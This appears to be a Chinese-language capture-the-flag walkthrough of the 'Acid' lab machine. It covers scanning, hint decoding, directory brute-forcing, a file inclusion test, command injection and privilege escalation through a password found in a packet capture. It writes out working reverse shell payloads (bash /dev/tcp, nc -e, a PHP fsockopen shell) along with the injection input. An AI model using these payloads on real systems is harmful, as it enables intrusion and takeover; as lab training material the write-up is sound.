Welcome to the world of Acid. Fairy tails uses secret keys to open the magical doors.php
欢迎来到酸的世界。童话故事须要使用秘密钥匙打开魔法门。python
得到root权限和flag。linux
靶机配置:该虚拟机彻底基于Web,提取rar并使用VMplayer运行vmx,网络链接方式设置为net,靶机自动获取IP。web
攻击机配置:同网段下有Windows攻击机,安装有Burpsuit、nc、Python2.七、DirBuster、御剑等渗透工具。shell
ip发现ubuntu
启用Acid虚拟机,因为网络设置为桥接模式,使用Nmap扫描VMware Network Adapter VMnet8网卡的NAT网段,便可找到虚机IP,命令:bash
nmap -sP 192.168.1.1/24
服务器
得到目标ip 192.168.1.104
网络
端口扫描tcp
使用nmap扫描1-65535全端口,并作服务指纹识别,命令:
nmap -p 1-65535 -sV 192.168.1.104
目标主机的33447端口发现web服务,web服务器是Apache2.4.10,操做系统ubuntu。
http://192.168.1.104:33447
进入主页:
服务识别
只发现web服务和Apache,只能从web漏洞或者Apache漏洞入手(若有漏洞):
端口:Tcp 33447
底层服务:Apache2.4.10
操做系统:Ubuntu
web挖掘思路:
(1) 查看每一个网页的源码,看是否有提示;
(2) 暴破目录,用御剑或DirBuster,看是否有新网页,找新网页的漏洞;
Apache挖掘思路:
(1) 寻找Apache2.4.10有无已知漏洞可利用:没有发现可直接利用的漏洞。
(2) 到www.exploit-db.com查询有无exp:没有找到exp。
(3) Nessus扫描一下主机漏洞:没有扫描出漏洞。
实在找不到漏洞:单用户模式进入Ubuntu,看源码吧。
步骤1:首先看主页源码,发现提示:0x643239334c6d70775a773d3d
0x是16进制编码,将值643239334c6d70775a773d3d进行ASCII hex转码,变成:d293LmpwZw==
发现是base64编码,再进行解码,获得图片信息 wow.jpg
这时能够根据经验在首页直接加目录打:/image/wow.jpg 或者 /images/wow.jpg 或者 /icon/wow.jpg 网站的图片目录一般是这样命名。
也能够利用dirbuster,御剑进行目录爆破,获得图片目录images。
访问 http://192.168.1.104:33447/images/wow.jpg
获得图片:
将图片保存到本地,用Notepad++打开,发现最下边有提示
将3761656530663664353838656439393035656533376631366137633631306434进行ASCII hex转码,
获得 7aee0f6d588ed9905ee37f16a7c610d4,这是一串md5。
步骤2:使用Dirbuster进行目录暴破:
忽然发现标题是/Challenge
查看暴破结果:果真发现Challenge目录,而且发现该目录下有cake.php、include.php、hacked.php,用Burpsuit挂上代理,
使用Firefox而后依次访问3个文件:
步骤3:访问cake.php,发现须要登陆后才能访问,可是标题的地方咱们一样发现了/Magic_Box:
点击login,发现跳到了index.php 页面,可是须要email 和 password才能登录
步骤4:访问include.php,这是一个文件包含漏洞页面:
在输入框中输入 /etc/passwd 测试存在文件包含,Burpsuit显示response包以下:
想文件包含拿shell,但没有文件上传点,以前发现的wow.jpg中无木马可包含。先继续看hacked.php。
步骤5:访问hacked.php,须要输入ID,测试下以前从wow.jpg解密出来的数字:63425
不过看来好像并无什么卵用
步骤6:找注入,把发现的几个页面都送入AWVS扫描了漏洞,未发现注入。
这让人直接想起来命令执行漏洞,咱们尝试一波
可执行系统命令,输入192.168.1.1;id 查看burpsuit的response发现id命令执行成功。
步骤9:利用php反弹shell。kali linux开启nc,监听4444端口:
为避免转义和中断,在get、post请求中输入payload须要进行url编码。尝试bash反弹shell、nc反弹shell,以下payload都失败:
bash -i >& /dev/tcp/192.168.0.112/4444 0>&1 nc -e /bin/bash -d 192.168.0.112 4444
经过php反弹shell成功,将以下payload进行URL编码后,在burp中发送:
php -r '$sock=fsockopen("192.168.0.112",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
成功反弹shell
可是没法执行su命令,回显su: must be run from a terminal 须要一个终端。
没有想出办法,最终google了一下,找到答案:用python调用本地的shell,命令:
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py python /tmp/asdf.py
步骤10:查看有哪些的用户 cat /etc/passwd
,发现须要关注的用户有:acid,saman,root
步骤11:查找每一个用户的文件(不显示错误)
find / -user acid 2>/dev/null
发现 /sbin/raw_vs_isi/hint.pcapng 文件,这是一个网络流量抓包文件,用Wireshark打开:
scp /sbin/raw_vs_isi/hint.pcapng root@10.10.10.140:/root/
只看TCP协议的包,发现saman的密码:1337hax0r
步骤12:su提权到saman、root,得到flag
再使用sudo -i 提权到root,密码一样是1337hax0r,得到位于root目录的flag.txt。
做者的设计思路可参考国外的一篇渗透文章:
http://resources.infosecinstitute.com/acid-server-ctf-walkthrough
主要突破点是:
1.两次目录暴破,第一次暴破出challenge,目录、cake.php、include.php、hacked.php,第二次暴破Magic_Box目录发现command.php。
2.发现命令执行界面后,用php反弹shell,在http中传输需对payload进行url编码。
3.su提权须要一个终端,没有经验只能Google解决了。
4.提权的方法是经过查找已知用户的文件,发现其密码,未使用exp或msf提权。
1.主要收获:
(1)命令执行漏洞可以使用php反弹shell, 之前都是用bash或nc。
(2)su提权须要一个终端,使用Python解决。
(3)得到shell后,多多查找各个用户文件,可能有新发现。
2.踩到的坑:
(1)文件包含漏洞,没找到利用方式,也找不到上传点,没法包含得到shell;
(2)su提权须要一个终端,没有知识储备和经验,依靠高手指导和Google搜索解决。
(3)index.php页面得到邮件用户名和密码的方法太冷门了,若是不是看国外的教程,本身没法想到。
(4)发现目录就暴破下,使用御剑默认字典不行,只能使用OWASP的暴破字典,目录暴破绕过了上面邮件用户名和口令的登陆,能够一路暴破到命令执行页面。
总之,在没有google搜索和他人的指导下,本身没能独立完成,后续须要开阔思路,多多练习。